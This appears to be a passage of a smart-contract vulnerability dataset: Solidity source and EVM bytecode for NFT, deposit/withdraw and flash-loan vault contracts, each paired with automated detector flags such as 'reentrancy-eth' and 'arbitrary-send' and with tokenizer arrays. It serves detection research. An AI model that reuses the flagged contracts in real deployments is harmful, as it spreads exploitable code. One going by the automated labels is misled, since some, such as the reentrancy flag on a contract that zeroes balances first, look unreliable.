90810190613417565b90506000604051602001611e25907f3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323081527f30302f73766722207072657365727665417370656374526174696f3d22784d6960208201527f6e594d696e206d656574222076696577426f783d22302030203335302033353060408201527f223e3c646566733e3c6c696e6561724772616469656e742069643d227265637460608201527f4772616469656e7422206772616469656e745472616e73666f726d3d22726f7460808201527f61746528393029223e3c73746f70206f66667365743d2236392522202073746f60a08201527f702d636f6c6f723d222332306431636322202f3e3c73746f70206f666673657460c08201527f3d22373925222073746f702d636f6c6f723d222330303030333322202f3e3c2f60e08201527f6c696e6561724772616469656e743e3c6c696e6561724772616469656e7420696101008201527f643d22636972636c654772616469656e7422206772616469656e745472616e736101208201527f666f726d3d22726f746174652833313529223e3c73746f70206f66667365743d6101408201527f22313025222073746f702d636f6c6f723d222332306431636322202f3e3c73746101608201527f6f70206f66667365743d22393025222073746f702d636f6c6f723d22233030306101808201527f30333322202f3e3c2f6c696e6561724772616469656e743e3c2f646566733e3c6101a08201527f7374796c653e2e7469746c65207b2066696c6c3a20233230643163633b20666f6101c08201527f6e742d66616d696c793a204c696265726174696f6e204d6f6e6f3b20666f6e746101e08201527f2d73697a653a20313270783b207d202e7472757468207b2066696c6c3a2023326102008201527f30643163633b20666f6e742d66616d696c793a204c696265726174696f6e204d6102208201527f6f6e6f3b20666f6e742d73697a653a20323270783b207d202e62617365207b206102408201527f66696c6c3a20233030303033333b20666f6e742d66616d696c793a204c6962656102608201527f726174696f6e204d6f6e6f3b20666f6e742d73697a653a20313870783b20666f6102808201527f6e742d7765696768743a203330303b207d3c2f7374796c653e3c7265637420776102a08201527f696474683d223130302522206865696768743d2231303025222066696c6c3d226102c08201527f75726c2823726563744772616469656e742922202f3e3c636972636c652063786102e08201527f3d22323735222063793d223135302220723d223530222066696c6c3d2275726c610300820152741411b1b4b931b632a3b930b234b2b73a149110179f60591b6103208201526103350190565b60405160208183030381529060405290506000611e428385612c0a565b90508181604051602001611e5792919061353d565b6040516020818303038152906040529150600083611e7484612df6565b604051602001611e85929190613809565b604051602081830303815290604052905080611ea087612f5c565b611ea987612f5c565b604051602001611ebb93929190613728565b60405160208183030381529060405290506000611ed782612df6565b905080604051602001611eea9190613a04565b60408051601f198184030181529190529998505050505050505050565b6005546001600160a01b03163314611f315760405162461bcd60e51b8152600401610a1190613b7a565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611f7d5760405162461bcd60e51b8152600401610a1190613b7a565b82611f888284613c59565b14611fed5760405162461bcd60e51b815260206004820152602f60248201527f52657761726473206d75737420626520657175616c20746f2074686520636f7360448201526e3a1037b31030b7103ab83230ba329760891b6064820152608401610a11565b600c829055600d819055600b8390556040518190839085907fed1ca058e9c431910b05da0e35c606b5f2fb8fa1a0ca7770c387712b8755cd3d90600090a4505050565b6005546001600160a01b0316331461205a5760405162461bcd60e51b8152600401610a1190613b7a565b6040514790339082156108fc029083906000818181858888f19350505050158015610a7e573d6000803e3d6000fd5b60065460405163c455279160e01b81526001600160a01b03848116600483015260009281169190841690829063c45527919060240160206040518083038186803b1580156120d657600080fd5b505afa1580156120ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061210e919061318b565b6001600160a01b0316148061213b57506001600160a01b03831660009081526016602052604090205460ff165b1561214a5760019150506109e1565b6001600160a01b0380851660009081526004602090815260408083209387168352929052205460ff165b949350505050565b6005546001600160a01b031633146121a65760405162461bcd60e51b8152600401610a1190613b7a565b826121b18284613c59565b146122135760405162461bcd60e51b815260206004820152602c60248201527f52657761726473206d75737420626520657175616c20746f2074686520636f7360448201526b3a1037b310309036b4b73a1760a11b6064820152608401610a11565b6009829055600a81905560088390556040518190839085907f36ac7c58d2e136771828b389f9cc99ac762738c9324484eee843d967dbab459490600090a4505050565b6005546001600160a01b031633146122805760405162461bcd60e51b8152600401610a1190613b7a565b6001600160a01b0381166122e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a11565b6122ee81612b85565b50565b60006122fc60025490565b905080831061234d5760405162461bcd60e51b815260206004820152601760248201527f546f6b656e20494420646f6573206e6f742065786973740000000000000000006044820152606401610a11565b600b543410156123b05760405162461bcd60e51b815260206004820152602860248201527f4574682076616c75652073656e742069732062656c6f77207468652075706461604482015267746520707269636560c01b6064820152608401610a11565b60006123bb846114f7565b9050336001600160a01b0382161461242b5760405162461bcd60e51b815260206004820152602d60248201527f547275746820726174696e672063616e206f6e6c79206265207570646174656460448201526c10313c903a34329037bbb732b960991b6064820152608401610a11565b606483111561248d5760405162461bcd60e51b815260206004820152602860248201527f547275746820726174696e67206d7573742062652061206e756d62657220667260448201526706f6d20302d3130360c41b6064820152608401610a11565b600084815260116020526040902054838114156124ec5760405162461bcd60e51b815260206004820152601e60248201527f4e657720726174696e67206d7573742062652061206e65772076616c756500006044820152606401610a11565b6000858152601060209081526040808320546011835281842088905580845260139092528220805491928492612523908490613ca4565b909155505060008181526013602052604081208054879290612546908490613c59565b90915550506007546040516331a9108f60e11b8152600481018390526000916001600160a01b031690636352211e9060240160206040518083038186803b15801561259057600080fd5b505afa1580156125a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125c8919061318b565b600a5460095491925047916125dd9190613c59565b600e546125ea9083613ca4565b106125fe576125fe82600c54600d54612792565b8684897f054fb1049e748a4e0658b626e2da9f4f5758165e6b1692824fae9383140406eb60405160405180910390a45050505050505050565b6005546001600160a01b031633146126615760405162461bcd60e51b8152600401610a1190613b7a565b6001600160a01b03166000908152601660205260409020805460ff19811660ff90911615179055565b60006001600160e01b031982166380ac58cd60e01b14806126bb57506001600160e01b03198216635b5e139f60e01b145b806109e157506301ffc9a760e01b6001600160e01b03198316146109e1565b600254600090821080156109e1575060006001600160a01b03166002838154811061270757612707613d8e565b6000918252602090912001546001600160a01b0316141592915050565b600081815260036020526040902080546001600160a01b0319166001600160a01b0384169081179091558190612759826114f7565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6001600160a01b038316600090815260156020526040812080548492906127ba908490613c59565b9250508190555080600f60008282546127d39190613c59565b9250508190555081600e60008282546127ec9190613c59565b9250508190555080600e60008282546128059190613c59565b9091555050505050565b6001600160a01b0382166128655760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a11565b61286e816126da565b156128bb5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610a11565b6002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0385169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000612942826126da565b6129a35760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a11565b60006129ae836114f7565b9050806001600160a01b0316846001600160a01b031614806129e95750836001600160a01b03166129de84610b14565b6001600160a01b0316145b8061217457506121748185612089565b826001600160a01b0316612a0c826114f7565b6001600160a01b031614612a745760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610a11565b6001600160a01b038216612ad65760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610a11565b612ae1600082612724565b8160028281548110612af557612af5613d8e565b6000918252602082200180546001600160a01b0319166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610cad573d6000803e3d6000fd5b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b612be28484846129f9565b612bee8484848461305a565b6119305760405162461bcd60e51b8152600401610a1190613b28565b60606019838260008060255b612c208184613c59565b915084518210612c335784519150612c7e565b848281518110612c4557612c45613d8e565b6020910101516001600160f81b031916600160fd1b14801590612c6757508282115b15612c7e5781612c7681613ce7565b925050612c33565b6000612c8a8484613ca4565b67ffffffffffffffff811115612ca257612ca2613da4565b6040519080825280601f01601f191660200182016040528015612ccc576020820181803683370190505b509050835b83811015612d3e57868181518110612ceb57612ceb613d8e565b01602001516001600160f81b03191682612d058784613ca4565b81518110612d1557612d15613d8e565b60200101906001600160f81b031916908160001a90535080612d3681613d33565b915050612cd1565b5084612d4988612f5c565b82604051602001612d5c9392919061356c565b60408051601f198184030181529190529450612d79601688613c59565b965085518310612d895750612d9c565b612d94836001613c59565b935050612c16565b83604051602001612dad91906136a5565b604051602081830303815290604052935083612dc889612f5c565b604051602001612dd99291906135fc565b60408051808303601f190181529190529998505050505050505050565b805160609080612e16575050604080516020810190915260008152919050565b60006003612e25836002613c59565b612e2f9190613c71565b612e3a906004613c85565b90506000612e49826020613c59565b67ffffffffffffffff811115612e6157612e61613da4565b6040519080825280601f01601f191660200182016040528015612e8b576020820181803683370190505b5090506000604051806060016040528060408152602001613de6604091399050600181016020830160005b86811015612f17576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101612eb6565b506003860660018114612f315760028114612f4257612f4e565b613d3d60f01b600119830152612f4e565b603d60f81b6000198301525b505050918152949350505050565b606081612f805750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612faa5780612f9481613d33565b9150612fa39050600a83613c71565b9150612f84565b60008167ffffffffffffffff811115612fc557612fc5613da4565b6040519080825280601f01601f191660200182016040528015612fef576020820181803683370190505b5090505b841561217457613004600183613ca4565b9150613011600a86613d4e565b61301c906030613c59565b60f81b81838151811061303157613031613d8e565b60200101906001600160f81b031916908160001a905350613053600a86613c71565b9450612ff3565b60006001600160a01b0384163b1561315c57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061309e903390899088908890600401613a49565b602060405180830381600087803b1580156130b857600080fd5b505af19250505080156130e8575060408051601f3d908101601f191682019092526130e5918101906133fa565b60015b613142573d808015613116576040519150601f19603f3d011682016040523d82523d6000602084013e61311b565b606091505b50805161313a5760405162461bcd60e51b8152600401610a1190613b28565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612174565b506001949350505050565b60006020828403121561317957600080fd5b813561318481613dba565b9392505050565b60006020828403121561319d57600080fd5b815161318481613dba565b600080604083850312156131bb57600080fd5b82356131c681613dba565b915060208301356131d681613dba565b809150509250929050565b6000806000606084860312156131f657600080fd5b833561320181613dba565b9250602084013561321181613dba565b929592945050506040919091013590565b6000806000806080858703121561323857600080fd5b843561324381613dba565b9350602085013561325381613dba565b925060408501359150606085013567ffffffffffffffff81111561327657600080fd5b8501601f8101871361328757600080fd5b803561329a61329582613c31565b613c00565b8181528860208385010111156132af57600080fd5b8160208401602083013760006020838301015280935050505092959194509250565b600080604083850312156132e457600080fd5b82356132ef81613dba565b9150602083013580151581146131d657600080fd5b6000806040838503121561331757600080fd5b823561332281613dba565b946020939093013593505050565b6000602080838503121561334357600080fd5b825167ffffffffffffffff8082111561335b57600080fd5b818501915085601f83011261336f57600080fd5b81518181111561338157613381613da4565b8060051b9150613392848301613c00565b8181528481019084860184860187018a10156133ad57600080fd5b600095505b838610156133d05780518352600195909501949186019186016133b2565b5098975050505050505050565b6000602082840312156133ef57600080fd5b813561318481613dcf565b60006020828403121561340c57600080fd5b815161318481613dcf565b60006020828403121561342957600080fd5b815167ffffffffffffffff81111561344057600080fd5b8201601f8101841361345157600080fd5b805161345f61329582613c31565b81815285602083850101111561347457600080fd5b613485826020830160208601613cbb565b95945050505050565b6000602082840312156134a057600080fd5b5035919050565b600080604083850312156134ba57600080fd5b50508035926020909101359150565b6000806000606084860312156134de57600080fd5b505081359360208301359350604090920135919050565b6000815180845261350d816020860160208601613cbb565b601f01601f19169290920160200192915050565b60008151613533818560208601613cbb565b9290920192915050565b6000835161354f818460208801613cbb565b835190830190613563818360208801613cbb565b01949350505050565b6000845161357e818460208901613cbb565b7f3c7465787420636c6173733d22626173652220783d223135222079203d20220090830190815284516135b881601f840160208901613cbb565b61111f60f11b601f929091019182015283516135db816021840160208801613cbb565b661e17ba32bc3a1f60c91b6021929091019182015260280195945050505050565b6000835161360e818460208801613cbb565b80830190507f3c7465787420636c6173733d2274727574682220616c69676e6d656e742d626181527f73656c696e653d22626173656c696e652220783d2231352220793d22333330226020820152601f60f91b60408201528351613679816041840160208801613cbb565b7212902a393ab29e17ba32bc3a1f1e17b9bb339f60691b60419290910191820152605401949350505050565b600082516136b7818460208701613cbb565b7f3c7465787420636c6173733d227469746c652220616c69676e6d656e742d62619201918252507f73656c696e653d22626173656c696e652220783d223237302220793d22333330602082015272111f2234b6b2b739b1b432b71e17ba32bc3a1f60691b6040820152605301919050565b6000845161373a818460208901613cbb565b80830190507f202261747472696275746573223a205b7b202274726169745f74797065223a20815275112120a122a61024a2111610113b30b63ab2911d101160511b60208201528451613794816036840160208901613cbb565b7f22207d2c207b202274726169745f74797065223a202254525554482052415449603692909101918201526e2723911610113b30b63ab2911d101160891b605682015283516137ea816065840160208801613cbb565b6422207d5d7d60d81b60659290910191820152606a0195945050505050565b693d913730b6b2911d101160b11b8152825160009061382f81600a850160208801613cbb565b7f222c20226465736372697074696f6e223a2022546865204c696272617279206f600a918401918201527f6620426162656c20697320746f74616c2c20706572666563742c20636f6d706c602a8201527f6574652c20616e642077686f6c652e20496e7175697369746f7273206f662074604a8201527f6865204c696272617279206f6620426162656c20696e71756972652061626f75606a8201527f74207468652024424142454c20746861742068617665206265656e2063617461608a8201527f6c6f67656420627920746865204c696272617269616e732c206372656174696e60aa8201527f6720612073696e676c652c20646563656e7472616c697a65642c20616e64207060ca8201527f65726d616e656e74207265636f7264206f6620646966666572656e742074797060ea8201527f6573206f6620616e616c79736973206f662074686f756768742073746f72656461010a8201527f206f6e2074686520457468657265756d20626c6f636b636861696e2e222c202261012a8201527f696d616765223a2022646174613a696d6167652f7376672b786d6c3b6261736561014a820152620d8d0b60ea1b61016a8201526134856139f661016d830186613521565b61088b60f21b815260020190565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251613a3c81601d850160208701613cbb565b91909101601d0192915050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613a7c908301846134f5565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015613abe57835183529284019291840191600101613aa2565b50909695505050505050565b60208152600061318460208301846134f5565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff81118282101715613c2957613c29613da4565b604052919050565b600067ffffffffffffffff821115613c4b57613c4b613da4565b50601f01601f191660200190565b60008219821115613c6c57613c6c613d62565b500190565b600082613c8057613c80613d78565b500490565b6000816000190483118215151615613c9f57613c9f613d62565b500290565b600082821015613cb657613cb6613d62565b500390565b60005b83811015613cd6578181015183820152602001613cbe565b838111156119305750506000910152565b600081613cf657613cf6613d62565b506000190190565b600181811c90821680613d1257607f821691505b6020821081141561175a57634e487b7160e01b600052602260045260246000fd5b6000600019821415613d4757613d47613d62565b5060010190565b600082613d5d57613d5d613d78565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146122ee57600080fd5b6001600160e01b0319811681146122ee57600080fdfe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa264697066735822122083743fc1432ff68b4f3b119aa95298f0735142d4fc38dc74dbd70a802df930be64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2546, 2692, 2575, 2620, 2094, 18827, 2050, 16086, 2683, 2683, 2620, 2278, 2683, 2683, 2278, 2692, 2581, 29292, 2581, 11329, 3676, 11329, 24087, 2497, 2575, 2620, 2620, 26224, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1014, 1006, 21183, 12146, 1013, 6123, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,318
0x968f4bdbe08635d51148b731ef48be2eace5a350
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; contract Storage { // Mapping from address to uint mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint256 balance = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: balance}(""); if (!sent) { balances[msg.sender] = balance; } } }
0x6080604052600436106100345760003560e01c806327e235e3146100395780633ccfd60b14610076578063d0e30db01461008d575b600080fd5b34801561004557600080fd5b50610060600480360381019061005b919061025b565b610097565b60405161006d91906102cf565b60405180910390f35b34801561008257600080fd5b5061008b6100af565b005b6100956101ef565b005b60006020528060005260406000206000915090505481565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060003373ffffffffffffffffffffffffffffffffffffffff168260405161015c906102ba565b60006040518083038185875af1925050503d8060008114610199576040519150601f19603f3d011682016040523d82523d6000602084013e61019e565b606091505b50509050806101eb57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461023d91906102f5565b92505081905550565b600081359050610255816103be565b92915050565b600060208284031215610271576102706103b6565b5b600061027f84828501610246565b91505092915050565b60006102956000836102ea565b91506102a0826103bb565b600082019050919050565b6102b48161037d565b82525050565b60006102c582610288565b9150819050919050565b60006020820190506102e460008301846102ab565b92915050565b600081905092915050565b60006103008261037d565b915061030b8361037d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156103405761033f610387565b5b828201905092915050565b60006103568261035d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b50565b6103c78161034b565b81146103d257600080fd5b5056fea26469706673582212209ed71fc68459eb938ff534eb2545f991a5e60448ce44db228dfd9ace68e17cf964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2546, 2549, 2497, 18939, 2063, 2692, 20842, 19481, 2094, 22203, 16932, 2620, 2497, 2581, 21486, 12879, 18139, 4783, 2475, 5243, 3401, 2629, 2050, 19481, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 3206, 5527, 1063, 1013, 1013, 12375, 2013, 4769, 2000, 21318, 3372, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 2270, 5703, 2015, 1025, 3853, 12816, 1006, 1007, 2270, 3477, 3085, 1063, 5703, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1009, 1027, 5796, 2290, 1012, 3643, 1025, 1065, 3853, 10632, 1006, 1007, 2270, 1063, 21318, 3372, 17788, 2575, 5703, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,319
0x968f5aecD063A227EBF03827d0A13d98cb607742
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import './interfaces/IERC3156FlashLender.sol'; import './VaultFactory.sol'; contract FlashLoanProvider is IERC3156FlashLender { event FlashLoan( address indexed receiver, address token, uint256 amount, uint256 fee, uint256 treasuryFee ); bytes32 public constant CALLBACK_SUCCESS = keccak256('ERC3156FlashBorrower.onFlashLoan'); VaultFactory public immutable vaultFactory; constructor(VaultFactory _vaultFactory) { vaultFactory = _vaultFactory; } /** * @dev Flash fee to be charged based on token and amount. * @param token The loan currency. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function flashFee(address token, uint256 amount) external view override returns (uint256) { require( vaultFactory.tokenToVault(token) != address(0), 'FLASH_LENDER_UNSUPPORTED_CURRENCY' ); return _flashFee(token, amount); } /** * @dev Fee to be charged for a given loan. Internal function with no checks. * @param token The loan currency. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function _flashFee(address token, uint256 amount) internal view returns (uint256) { return Vault(vaultFactory.tokenToVault(token)).calculateFeeForAmount(amount); } /** * @dev The amount of currency available to be lent. * @param token The loan currency. * @return The amount of `token` that can be borrowed. */ function maxFlashLoan(address token) external view override returns (uint256) { if (vaultFactory.tokenToVault(token) == address(0)) { return 0; } return ERC20(token).balanceOf(vaultFactory.tokenToVault(token)); } /** * @dev Loan `amount` tokens to `receiver`, and takes it back plus a `flashFee` after the callback. * @param receiver The contract receiving the tokens, * needs to implement the `onFlashLoan(address user, uint256 amount, uint256 fee, bytes calldata)` interface. * @param token The loan currency. * @param amount The amount of tokens lent. * @param data A data parameter to be passed on to the `receiver` for any custom use. */ function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data ) external override returns (bool) { require( vaultFactory.tokenToVault(token) != address(0), 'FLASH_LENDER_UNSUPPORTED_CURRENCY' ); Vault vault = Vault(vaultFactory.tokenToVault(token)); require(vault.isPaused() == false, 'VAULT_IS_PAUSED'); require(amount > vault.minAmountForFlash(), 'FLASH_VALUE_IS_LESS_THAN_MIN_AMOUNT'); require( amount <= vault.stakedToken().balanceOf(address(vault)), 'AMOUNT_BIGGER_THAN_BALANCE' ); uint256 fee = _flashFee(token, amount); require(vault.transferToAccount(address(receiver), amount), 'FLASH_LENDER_TRANSFER_FAILED'); require( receiver.onFlashLoan(msg.sender, token, amount, fee, data) == CALLBACK_SUCCESS, 'FLASH_LENDER_CALLBACK_FAILED' ); require( vault.transferFromAccount(address(receiver), amount + fee), 'FLASH_LENDER_REPAY_FAILED' ); uint256 treasuryFee = vault.splitFees(fee); emit FlashLoan(address(receiver), token, amount, fee, treasuryFee); return true; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import './IERC3156FlashBorrower.sol'; interface IERC3156FlashLender { /** * @dev The amount of currency available to be lent. * @param token The loan currency. * @return The amount of `token` that can be borrowed. */ function maxFlashLoan(address token) external view returns (uint256); /** * @dev The fee to be charged for a given loan. * @param token The loan currency. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function flashFee(address token, uint256 amount) external view returns (uint256); /** * @dev Initiate a flash loan. * @param receiver The receiver of the tokens in the loan, and the receiver of the callback. * @param token The loan currency. * @param amount The amount of tokens lent. * @param data Arbitrary data structure, intended to contain user-defined parameters. */ function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data ) external returns (bool); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import './interfaces/IVaultFactory.sol'; import './Vault.sol'; contract VaultFactory is IVaultFactory, Moderable, ReentrancyGuard { address[] public vaults; mapping(address => bool) public vaultExists; mapping(address => address) public tokenToVault; address public flashLoanProviderAddress; bool public isInitialized = false; ERC20 public tokenToPayInFee; uint256 public feeToPublishVault; address public treasuryAddress = 0xA49174859aA91E139b586F08BbB69BceE847d8a7; /** * @dev Only if Vault Factory is not initialized. **/ modifier onlyNotInitialized { require(isInitialized == false, 'ONLY_NOT_INITIALIZED'); _; } /** * @dev Only if Vault Factory is initialized. **/ modifier onlyInitialized { require(isInitialized, 'ONLY_INITIALIZED'); _; } /** * @dev Change treasury address. * @param _treasuryAddress address of treasury where part of flash loan fee is sent. */ function setTreasuryAddress(address _treasuryAddress) external onlyModerator { treasuryAddress = _treasuryAddress; emit VaultFactorySetTreasuryAddress(treasuryAddress); } /** * @dev Initialize VaultFactory * @param _flashLoanProviderAddress contract to use for getting Flash Loan. * @param _tokenToPayInFee address of token used for paying fee of listing Vault. */ function initialize(address _flashLoanProviderAddress, address _tokenToPayInFee) external onlyModerator onlyNotInitialized { tokenToPayInFee = ERC20(_tokenToPayInFee); feeToPublishVault = 100000 * 10**tokenToPayInFee.decimals(); flashLoanProviderAddress = _flashLoanProviderAddress; isInitialized = true; } /** * @dev Set/Change fee for publishing your Vault. * @param _feeToPublishVault amount set to be paid when creating a Vault. */ function setFeeToPublishVault(uint256 _feeToPublishVault) external onlyModerator { feeToPublishVault = _feeToPublishVault; emit VaultFactorySetFeeToPublishVault(feeToPublishVault); } /** * @dev Create vault factory method. * @param stakedToken address of staked token in a vault * @param maxCapacity value for Vault. */ function createVault(address stakedToken, uint256 maxCapacity) external onlyModerator onlyInitialized { _createVault(stakedToken, maxCapacity); } /** * @dev Overloaded createVault method used for externally be called by anyone that pays fee. * @param stakedToken used as currency for depositing into Vault. **/ function createVault(address stakedToken) external onlyInitialized nonReentrant { IERC20 token = IERC20(stakedToken); require( tokenToPayInFee.transferFrom(msg.sender, address(this), feeToPublishVault), 'FEE_TRANSFER_FAILED' ); require(token.totalSupply() > 0, 'TOTAL_SUPPLY_LESS_THAN_ZERO'); _createVault(stakedToken, token.totalSupply() / 2); } /** * @dev Create vault internal factory method. * @param stakedToken address of staked token in a vault * @param maxCapacity value for Vault. */ function _createVault(address stakedToken, uint256 maxCapacity) internal { require(tokenToVault[stakedToken] == address(0), 'VAULT_ALREADY_EXISTS'); bytes32 salt = keccak256(abi.encodePacked(stakedToken)); Vault 